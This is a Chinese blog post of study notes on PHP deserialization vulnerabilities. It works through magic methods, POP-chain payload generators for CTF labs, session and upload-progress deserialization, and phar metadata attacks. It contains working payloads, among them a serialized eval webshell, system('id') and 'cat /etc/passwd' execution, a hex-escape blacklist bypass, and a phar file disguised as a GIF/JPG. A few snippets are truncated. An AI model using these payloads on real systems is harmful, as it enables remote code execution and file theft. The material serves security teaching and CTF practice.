网络安全
反序列化漏洞

本篇整理自我的语雀学习笔记(课堂学习与实操记录),已转为纯文字版并按博客格式排版。
基础知识
面向对象
类
一类事物的抽象定义
类名:
- 人类
- 动物
- 汽车
属性:
- 汽车类:颜色、动力来源、马力
- 人类:姓名、身高、体重
- 方法(功能、动作): 汽车类:刹车、放歌、启动汽车
- 人类:吃、喝、睡
对象
内存中存储的类的实例化,具体是事物
- 身份证号是11010xxxxx的某某
- 车牌号是京Axxxx 的小米su7
支持面向对象的编程语言
支持面向对象(OOP,Object-Oriented Programming)的编程语言
PHP 面向对象编程
语法结构
<?php
highlight_file(__FILE__);
// 反序列化基础 – PHP 面向对象
// 定义一个类
class Student
{
//定义类属性
public $name;
public $age;
public $id_card;
//定义类方法
public function talk()
{
echo $this->name . " can talk\n";
}
}
// 类的实例化、创建对象,对象名字 stu1
$stu1 = new Student();
// 给对象的属性赋值
$stu1->name = "zhangsan";
$stu1->age = 18;
$stu1->id_card = "123456";
// 调用对象的方法
echo $stu1->talk();
?>
魔术方法
- 正常的方法,需要调用才会执行
- 魔术方法不需要调用,而是特殊情况下会自动触发的方法 (PHP 魔术方法以 两个下划线开头)
__construct ✨构造方法
构造方法 - 创建对象时,会自动触发
__destruct ✨析构方法
析构方法 - 对象销毁或反序列化时自动触发
__toString
字符串输出 - 把对象当做字符串使用时自动触发
__wakeup ✨
对象反序列化时自动触发
__sleep
对象序列化时自动触发
__call
调用一个不存在的方法,或调用一个不能调用的方法时自动触发
__get
调用一个不存在的属性,或调用一个不能调用的属性时自动触发
__set
修改一个不存在的属性,或修改一个不能调用的属性时自动触发
__invoke
把对象当做方法调用时自动触发
示例
<?php
highlight_file(__FILE__);
class Test
{
private $name = 'TestClass';
public function hello()
{
echo "<hr>";
echo $this->name . " is a demo Class\n";
}
public function __wakeup()
{
echo "<hr>";
echo "调用了__wakeup()方法\n";
}
public function __construct()
{
echo "<hr>";
echo "调用了__construct()方法\n";
}
public function __destruct()
{
echo "<hr>";
echo "调用了__destruct()方法\n";
}
public function __toString()
{
echo "<hr>";
echo "调用了__toString()方法\n";
return "调用了__toString()方法\n";
}
public function __set($key, $value)
{
echo "<hr>";
echo "调用了__set()方法\n";
}
public function __get($key)
{
echo "<hr>";
echo "调用了__get()方法\n";
}
}
// 实例化对象,调用__construct
$obj = new Test();
// 改写私有属性,调用__set
$obj->name = 1;
// 读取私有属性,调用__get
echo $obj->name;
// 调用hello方法
echo $obj->hello();
// 把对象当做字符串使用,调用__toString
echo $obj;
// 序列化对象,调用__destruct
$ser_obj = serialize($obj);
// 反序列化,调用__wakeup和__destruct
print_r(unserialize($ser_obj));
// 程序结束,调用__destruct
序列化和反序列化
- 序列化:把内存中的对象,转换成字符串或字节码,便于存储和网络传输
- 反序列化:把字符串或字节码还原为内存中的对象
序列化后的字符串样式
<?php
highlight_file(__FILE__);
class Test
{
// public 属性
public $a = 'aaa';
// private 属性
private $b = 'bbb';
// protected 属性
protected $c = 'ccc';
// 方法不会被序列化
function create_d()
{
$this->$d = 'ddd';
}
}
// 实例化对象
$object = new Test();
// 序列化对象
echo serialize($object);
O:4:"Test":3:{s:1:"a";s:3:"aaa";s:7:"Testb";s:3:"bbb";s:4:"*c";s:3:"ccc";}
反序列化漏洞
产生原因
- 用户可以通过 HTTP、或其他网络协议向服务器发送任意的序列化字符串或字节码,服务器未经严格验证就进行了反序列化
利用
2-1.php/2-2.php
http://kls07.serialize.colanse.website/
审计
- 用户传入的POST参数test,没有经过任何过滤,直接被 unserialize 反序列化,故存在反序列化漏洞,攻击者需要传入序列化字符串
- unserialize() 是 PHP 中用于还原序列化数据的函数,功能强大但存在安全风险。在处理用户输入或外部数据时,应格外小心,优先考虑更安全的替代方案(如 JSON)
编写 payload
1 复制代码到新的 php 文件中
2 删除类之外的所有代码
3 改写属性值为预期的内容
4 删除和属性无关的方法
5 实例化对象,输出序列化 字符串
<?php
class A
{
var $test = "system(id);";
}
$DC = new A();
echo serialize($DC);
6 运行payload ,得到序列化字符串
php -f payload.php
攻击反序列化漏洞
2-2-demo CTF题目练习
审计
绕过前期限制
限制: txt 必须是从文件读取的,结果为 welcome to the bugkuctf
绕过:php://input
http://kls07.serialize.colanse.website/2-2-demo/?txt=data://text/plain,welcome to the bugkuctf
编写反序列化 payload
访问 hint.php ,复制代码,编写payload
<?php
class Flag {
public $file = "flag.php";
}
$DC = new Flag();
echo serialize($DC);
?>
PS D:\32550\aq\php_ID> php -f 2-2-demo.php
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
PS D:\32550\aq\php_ID>
攻击反序列化漏洞
POST /2-2-demo/?txt=php://input&file=hint.php&password=
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} HTTP/1.1
welcome to the bugkuctf
2-3.php
审计
编写payload
<?php
?>';
}
$DC = new Test();
echo serialize($DC);
访问写入的webshell
<?php
?>';
}
$DC = new Test();
echo serialize($DC);
?>
http://kls07.serialize.colanse.website/2-3/?id=O:4:"Test":1:{s:4:"test";s:30:"<?php eval($_REQUEST['c']); ?>";}
pop链
面向属性编程:危险函数不在魔术方法中,需要构造层层递进的利用链
代码审计的技巧 正向审计, 反向代码审计
source -> sink 正常代码审计(正向审计),找输入点,看输入点是否能够连接到危险函数
sink -> source 反向代码审计,找危险函数,看危险函数是否能够连接到输入点
pop链-示例1
审计
pop链 : eval -> evil.action -> main.destruct -> unserialize
确定目标:我要执行 eval,也就是 evil 类的 action 方法
问题1: 谁会执行 evil 类的 action 方法呢?
回答1:main类的 __destruct 方法能够执行 action 方法,
前提是 $this->ClassObj 需要是 evil 类的对象
问题2:谁会执行 __destruct 方法呢?
回答2:反序列化自动执行
编写payload
<?php
class main {
protected $ClassObj;
function __construct() {
$this->ClassObj = new evil();
}
}
class evil {
private $data = "system('id') ;";
}
$DC = new main();
echo urlencode(serialize($DC));
?>
因为修改了 protected 和 private 属性,故必须要URL编码,否则无法显示 0x00
攻击反序列化漏洞
pop链-示例2
审计
- 反序列化时自动触发 destruct , destuct 把对象字符串输出,又触发了 toString , toString 里有 file_get_contents 存在任意文件读取漏洞
- 反序列化时自动触发 wakeup ,wakeup 中写了过滤,无论如何name的值只能是
/etc/hostname 或 /etc/passwd
<?php
class MyFile {
public $name;
public $user;
public function __construct($name, $user) {
$this->name = $name;
$this->user = $user;
}
public function __toString(){
return file_get_contents($this->name);
}
public function __wakeup(){
if(stristr($this->name, "flag")!==False)
$this->name = "/etc/hostname";
else
$this->name = "/etc/passwd";
if(isset($_GET['user'])) {
$this->user = $_GET['user'];
}
}
public function __destruct() {
echo $this;
}
}
if(isset($_GET['input'])){
$input = $_GET['input'];
if(stristr($input, 'user')!==False){
die('Hacker');
} else {
unserialize($input);
}
}else {
highlight_file(__FILE__);
}
?>
编写payload ,浅拷贝
1 无论如何name的值只能是 /etc/hostname 或 /etc/passwd,怎么读取其他文件呢?
解决方案:浅拷贝,name没办法变动了,就让 user 和 name 建立浅拷贝关系,user变了, name 会同步变化
<?php
class MyFile {
public $name = "";
public $user = "";
public function __toString(){
return file_get_contents($this->name);
}
public function __wakeup(){
if(stristr($this->name, "flag")!==False)
$this->name = "/etc/hostname";
else
$this->name = "/etc/passwd";
if(isset($_GET['user'])) {
$this->user = $_GET['user'];
}
}
public function __destruct() {
echo $this;
}
}
$DC = new MyFile();
$DC->name = &$DC->user;
echo serialize($DC);
?>
攻击反序列化漏洞
被拦截!序列化中出现了 user 字符,被黑名单拦截
如何绕过:大S 16进制,如果 s 变成 S,值即可使用16进制表示
原本的payload
O:6:"MyFile":2:{s:4:"name";s:0:"";s:4:"user";R:2;}
把 s 变为 S
O:6:"MyFile":2:{s:4:"name";s:0:"";S:4:"user";R:2;}
把user中的u变为16进制 \75
O:6:"MyFile":2:{s:4:"name";s:0:"";S:4:"\75ser";R:2;}
任意文件读取
GET参数 user 实现任意文件读取
代码中任意文件读取是读取 name 而不是user,但是因为 name 和 user 建立了浅拷贝的关系, 所以改动user,等价于改动了 name
public function __toString(){
return file_get_contents($this->name);
}
pop链-示例3
审计
<?php
highlight_file(__FILE__);
class start_gg
{
public $mod1;
public $mod2;
public function __destruct() // 问题6:谁会调用__destruct 方法? 反序列化自动触发
{
$this->mod1->test1(); // 回答5:如果 $this->mod1 是Call 对象,就会调用 test1 方法
}
}
class Call
{
public $mod1;
public $mod2;
public function test1() // 问题5:谁会调用test1方法?
{
$this->mod1->test2(); // 回答4:如果 $this->mod1 是func 对象。就会调用 __call 方法
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr) // 问题4:谁会调用__call 方法?
{
$s1 = $this->mod1;
$s1(); // 回答3:如果 $this->mod1 是 func 对象,就会调用__invoke方法
}
}
class func
{
public $mod1;
public $mod2;
public function __invoke() // 问题3:谁会调用__invoke 方法?
{
$this->mod2 = "字符串拼接".$this->mod1; //回答2:如果 $this->$mod1 是string1 的对象,就会调用
}
}
class string1
{
public $str1;
public $str2;
public function __toString() // 问题2:谁会调用__toString 方法?
{
$this->str1->get_flag(); // 回答1:如果 $this->strl 是 GetFlag 的对象,就会调用 get_flag 方法
return "1";
}
}
class GetFlag
{
public function get_flag() // 问题1:谁会调用 get_flag 方法?
{
system($_GET['cmd']); //目标:RCE 漏洞
}
}
$a = $_GET['string'];
unserialize($a);
?>
目标:RCE漏洞
问题1:谁会调用GetFlag类的 get_flag 方法?
回答1:在 string1 类中如果 $this->str1是GetFlag的对象,就会调用get_flag方法
问题2:谁会调用string1 类的 __toString 方法?
回答2:如果func类的$this->mod1是string1的对象,就会调用 __toString方法
问题3:谁会调用func类的 __invoke 方法?
回答3:如果funct类的$this->mod1 是func的对象,就会调用 __invoke 方法
问题4:谁会调用funct类的 __call 方法?
回答4:如果 Call 类的$this->mod1 是funct的对象,就会调用 __call 方法
问题5:谁会调用Call类的 test1 方法?
回答5:如果start_gg类的$this->mod1 是Call的对象,就会调用 test1 方法
问题6:谁会调用start_gg类的 __destruct 方法?
回答6:反序列化自动触发
编写playload
<?php
class start_gg
{
public $mod1;
public function __construct()
{
$this->mod1 = new Call();
}
}
class Call
{
public $mod1;
public function __construct()
{
$this->mod1 = new funct();
}
}
class funct
{
public $mod1;
public function __construct()
{
$this->mod1 = new func();
}
}
class func
{
public $mod1;
public function __construct()
{
$this->mod1 = new string1();
}
}
class string1
{
public $str1;
public function __construct()
{
$this->str1 = new GetFlag();
}
}
class GetFlag
{}
$DC = new start_gg();
echo urlencode(serialize($DC)); // 也可以不编码
?>
攻击反序列化漏洞
pop链 - 示例4
审计
确定目标:include($value); 文件包含漏洞
问1:谁会执行 Modifier 的 append 呢?
答1:Modifier的__invoke 会执行 Modifier 的
append
问2:谁会触发 Modifier 的 __invoke 呢?
答2:如果$this->p是Modifier的对象 Test的__get
会触发 Modifier 的 __invoke
问3:谁会触发 Test 的 __get 呢?
答3:如果$this->str是Test的对象,Show的__toString会触
发 Test 的 __get
问4:谁会触发 Show 的 __toString 呢?
答4:如果 $this->source是Show类的对象,Show的
wakeup 就会触发 Show的toString
问5:谁会触发 Show 的 __wakeup 呢?
答5:反序列化自动触发
编写 payload
<?php
class Modifier {
protected $var = "/etc/passwd";
public function append($value){ // 问1:谁会执行 Modifier 的 append 呢?
include($value); // 目标
}
public function __invoke(){ // 问2:谁会触发 Modifier 的 __invoke 呢?
$this->append($this->var); // 答1:Modifier的__invoke 会执行 Modifier 的 append
}
}
class Show{
public $source;
public $str;
public function __construct(){
$this->str = new Test();
// $this->source = new Show();
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){ // 问4:谁会触发 Show 的 __toString 呢?
return $this->str->source; // 答3:如果$this->str是Test的对象,Show的__toString会触发 Test 的 __get
}
public function __wakeup(){ //问5:谁会触发 Show 的 __wakeup 呢?反序列化自动触发!
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { // 答4:如果 $this->source是Show类的对象,就会触发 Show的__toString
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
public function __get($key){ // 问3:谁会触发 Test 的 __get 呢?
$function = $this->p;
return $function(); // 答2:如果$this->p是Modifier的对象 Test的__get 会触发 Modifier 的 __invoke
}
}
$DC = new Show();
$DC->source = $DC;
echo urlencode(serialize($DC));
?>
<?php
class Modifier {
protected $var;
public function append($value) {
include($value);
}
public function __invoke() {
$this->append($this->var);
}
}
class Show {
public $source;
public $str;
public function __construct($file = 'index.php') {
$this->source = $file;
echo 'Welcome to ' . $this->source . "<br>";
}
public function __toString() {
return $this->str->source;
}
public function __wakeup() {
if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test {
public $p;
public function __construct() {
$this->p = array();
}
public function __get($key) {
$function = $this->p;
return $function();
}
}
// 创建Modifier对象
$m = new Modifier();
// 通过反射设置protected属性$var
$ref = new ReflectionClass('Modifier');
$prop = $ref->getProperty('var');
$prop->setAccessible(true);
$prop->setValue($m, '/etc/hosts'); // 修改为 /etc/hosts
// 创建Test对象
$t = new Test();
$t->p = $m; // 设置$p为Modifier对象
// 创建内部Show对象
$s = new Show('index.php');
$s->str = $t; // 设置$str为Test对象
// 创建外部Show对象
$s2 = new Show('index.php');
$s2->source = $s; // 关键:将$source设置为内部Show对象(不是字符串)
$s2->str = null;
// 生成payload
$payload = urlencode(serialize($s2));
echo "Payload: " . $payload . "\n";
// 也可以直接输出未编码的payload用于调试
echo "Raw payload: " . serialize($s2) . "\n";
?>
攻击反序列化漏洞
session 反序列化
成因,是什么
- php使用了不同的 session序列化引擎处理 session
- php 保存session的过程是序列化,php读取session的过程是反序列化
session序列化引擎
php
username=han 的结果
username | s:3:"han";
php_serialize
username=han 的结果
a:1:{s:8:"username";s:3:"han";}
php_binary
username=han 的结果
[BS] username:3:"han";
session反序列化漏洞示例
审计
1 php 生成session(序列化)使用的session处理引擎是 php_serialize 引擎
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['username'] = $_GET['user'];
var_dump($_SESSION);
?>
2 php 读取session(反序列化) 使用的session处理引擎是 php 引擎
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class user{
var $name;
var $age;
function __wakeup(){
echo "hello ".$this->name." !";
system($this->name);
}
}
?>
编写 payload
<?php
class user{
var $name = "id"; // var $name = "cat /etc/passwd";
var $age;
function __wakeup(){
echo "hello ".$this->name." !";
system($this->name);
}
}
$DC = new user();
echo serialize($DC);
?>
O:4:"user":2:{s:4:"name";s:14:"cat /etc/hosts";s:3:"age";N;}
攻击session反序列化漏洞
攻击创建session的页面
访问读取session的页面
原理:(因为 php_serialize 引擎和 php 引擎对 | 处理方式的差异化)
文件上传进度反序列化
作用:
在文件上传过程中,允许服务器端实时追踪并报告上传的进度
php会话上传进度,phpinfo信息泄露可以看到对应的信息 php-session.upload_progress
- session.upload_progress.enabled 会话上传进度是否开启
- session.upload_progress.name 会话上传进度名
- session.upload_progress.cleanup 会话上传进度是否会自动清理
当一个文件上传时,PHP 会检查 HTTP 请求。如果发现请求中包含一个特定的变量(默认名称为 PHP_SESSION_UPLOAD_PROGRESS ),它就会在 $_SESSION 数组中创建一个特殊的键。 !序列化
这个键里包含了文件的总大小、当前已上传的大小、预计剩余时间等实时数据。前端可以通过另一个异步请求(AJAX)读取这些 Session 数据,从而绘制出进度条。 ! 反序列化
示例 - 关闭cleanup
审计
编写 payload
<?php
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = "system('whoami');";
}
function __destruct()
{
eval($this->mdzz);
}
}
$DC = new OowoO();
echo serialize($DC);
构造文件上传请求表单
<form action="http://kls07.serialize.colanse.website/4-4-demo/"
method="post" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS"
value="your_payload">
<input type="file" name="file">
<input type="submit" value="Upload">
</form>
攻击session反序列化漏洞
抓取 upload.html 发送的文件上传请求包,并修改payload,完成攻击
示例2 - 开启cleanup ,条件竞争
session.upload_progress.cleanup = On 的情况下
写入session的payload会被立即清除,需要条件竞争
构造文件上传的请求表单
<form action="http://kls07.serialize.colanse.website/4-5/2.php"
method="post" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS"
value="your_payload">
<input type="file" name="file">
<input type="submit" value="Upload">
</form>
编写 payload
<?php
class foo1{
public $varr;
function __construct(){
$this->varr = new foo2();
}
function __destruct(){ // 问3: 谁会触发 foo1 的 __destruct 吗? 反序列化自动触发
if(file_exists($this->varr)){// 答2: 如果$this->varr是foo2的对象, 则会触发 foo2 的 __toString 方法
echo "<br>文件".$this->varr."存在<br>";
}
echo "<br>这是foo1的析构函数<br>";
}
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = new foo3();
}
function __toString(){ // 问2: 谁会触发 foo2 的 __toString 呢?
$this->obj->execute(); // 答1: 如果 $this->obj 是 foo3 的对象, 则会执行 foo3 的 execute
return $this->varr;
}
function __destruct(){
echo "<br>这是foo2的析构函数<br>";
}
}
class foo3{
public $varr = "system('id');";
function execute(){ // 问1: 谁会执行 foo3 的 execute 呢?
eval($this->varr); // 目的
}
function __destruct(){
echo "<br>这是foo3的析构函数<br>";
}
}
$obj = new foo1();
echo serialize($obj);
?>
<?php
class foo1{
public $varr;
}
class foo2{
public $varr;
public $obj;
}
class foo3{
public $varr;
}
// 构造恶意对象
$f3 = new foo3();
$f3->varr = 'system("id");'; // 执行 id 命令
$f2 = new foo2();
$f2->obj = $f3;
$f2->varr = "trigger"; // 任意字符串
$f1 = new foo1();
$f1->varr = $f2; // 关键:覆盖为 foo2 对象
// 序列化
echo serialize($f1);
?>
O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:13:"system('id');";}}}
攻击session反序列化漏洞 抓包, 条件竞争
Phar反序列化
Phar 文件
Phar(PHP Archive)是 PHP 的一种归档文件格式。它类似于 Java 中的 JAR 文件
- stub:这是 Phar 的入口点,必须以 __HALT_COMPILER(); ?> 结尾,文件头可以任意
- meta-data ✨️ :元数据可以存储自定义的序列化数据(这也是一些反序列化漏洞的利用点)
- 文件内容
查看 .phar 文件
php -r "$p=new Phar('DC.phar');$p->extractTo('out',null,true);"
php -r "$p=new Phar('DC.phar');$p->extractTo('out');"
如果无法生成,可以修改php配置文件 php.ini
phar.readonly = Off
windows
复制 php.ini.development 为 php.ini
改动 phar.readonly = Off (记得去掉 注释: ;)
Phar 反序列化
Phar 反序列化漏洞的触发原因主要是由 PHP 的 Phar 协议特性和文件操作函数的交互导致的
下述函数和 phar:// 联用时,会自动对 phar 文件中的meta-data进行反序列化
- 状态检查: file_exists() 、 is_dir() 、 is_file() 、 is_link() 、 is_readable() 、
is_writable() 、 is_executable() - 文件读取/写入: file_get_contents() 、 file_put_contents() 、 file() 、 fopen() 、readfile()
- 文件属性: fileatime() 、 filectime() 、 filemtime() 、 fileinode() 、
filegroup() 、 fileowner() 、 fileperms() 、 filesize() 、 filetype() 、 stat() 、
lstat() - 文件删除/重命名: unlink() 、 rename() 、 copy()
条件:需要预先把 phar 文件上传到目标服务器 (phar 的文件头和文件后缀名可以随意指定)
编写 payload
<?php
class AnyClass{
var $output = "system('id');";
}
$SD = new AnyClass();
echo serialize($SD);
?>
把序列化字符串放到 meta-data
<?php
class AnyClass{
var $output = "system('id');";
}
$SD = new AnyClass();
// echo serialize($SD);
//实例一个phar对象供后续操作,后缀名必须为phar
$phar = new Phar("DC.phar");
//开始缓冲对phar的写操作
$phar->startBuffering();
//设置识别phar拓展的标识stub
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
//将自定义的归档元数据meta-data存入manifest
$phar->setMetadata($SD);
//phar本质上是个压缩包,所以要添加压缩的文件和文件内容
$phar->addFromString("chaitin.txt", "test phar file");
//停止缓冲对phar的写操作,自动计算签名
$phar->stopBuffering();
?>
上传phar文件
使用phar伪协议
phar:// 协议和 file_exists 函数联用,会自动反序列化
CTF 实例 - swpuctf_2018_simplephp
1 任意文件读取漏洞
泄露源码
<?php
header("content-type:text/html;charset=utf-8");
include 'base.php';
?>
<?php
session_start();
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>web3</title>
<link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css">
<script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script>
<script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>
<body>
<nav class="navbar navbar-default" role="navigation">
<div class="container-fluid">
<div class="navbar-header">
<a class="navbar-brand" href="index.php">首页</a>
</div>
<ul class="nav navbar-nav navbra-toggle">
<li class="active"><a href="file.php?file=">查看文件</a></li>
<li><a href="upload_file.php">上传文件</a></li>
</ul>
<ul class="nav navbar-nav navbar-right">
<li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li>
</ul>
</div>
</nav>
</body>
</html>
<!--flag is in f1ag.php-->
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
2 phar反序列化漏洞
通过代码审计可以发现file.php存在phar反序列化漏洞
3 编写 payload
目标:任意文件读取
问1:谁会执行 Test 的 file_get 呢?
答1:Test的get 会执行 Test 的 file_get
问2:谁会执行 Test 的 get 呢?
答2:如果$this->params[$key]存在,Test的__get 会执行Test 的 get
问3:谁会触发 Test 的 __get 呢?
答3:如果$this->str['str']是Show的对象,Show的__toString 会执行 Test 的 __get
问4:谁会触发 Show 的 __toString 呢?
答4:如果$this->str是Show的对象,C1e4r的__destruct 会执行 Show 的 __toString
问5:谁会触发 C1e4r的 __destruct 呢? 反序列化自动触发
<?php
class Cle4r
{
public $str;
public function __construct()
{
$this->str = new Show();
}
}
class Show
{
public $str;
public function __construct()
{
$this->str = array();
$this->str['str'] = new Test();
}
}
class Test
{
public $params;
public function __construct()
{
$this->params = array();
$this->params['source'] = '/var/www/html/flag.php';
}
}
$obj = new Cle4r();
echo serialize($obj);
4 生成 phar 文件
<?php
class C1e4r
{
public $str;
public function __construct()
{
$this->str = new Show();
}
}
class Show
{
public $str;
public function __construct()
{
$this->str = array();
$this->str['str'] = new Test();
}
}
class Test
{
public $params;
public function __construct()
{
$this->params = array();
$this->params['source'] = '/var/www/html/flag.php';
}
}
$obj = new C1e4r();
echo serialize($obj);
//实例一个phar对象供后续操作,后缀名必须为phar
$phar = new Phar("SDC.phar");
//开始缓冲对phar的写操作
$phar->startBuffering();
//设置识别phar拓展的标识stub
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
//将自定义的归档元数据meta-data存入manifest
$phar->setMetadata($obj);
//phar本质上是个压缩包,所以要添加压缩的文件和文件内容
$phar->addFromString("chaitin.txt", "test phar file");
//停止缓冲对phar的写操作,自动计算签名
$phar->stopBuffering();
?>
5 文件上传
通过代码审计可以发现,文件上传只能上传 gif 等图像文件
改 phar 文件后缀名为 .jpg
访问 upload 路径 : http://192.168.79.120:8888/upload/
通过时间判断自己上传的是哪个 文件
6 phar伪协议触发反序列化
你的赏识是我前进的动力

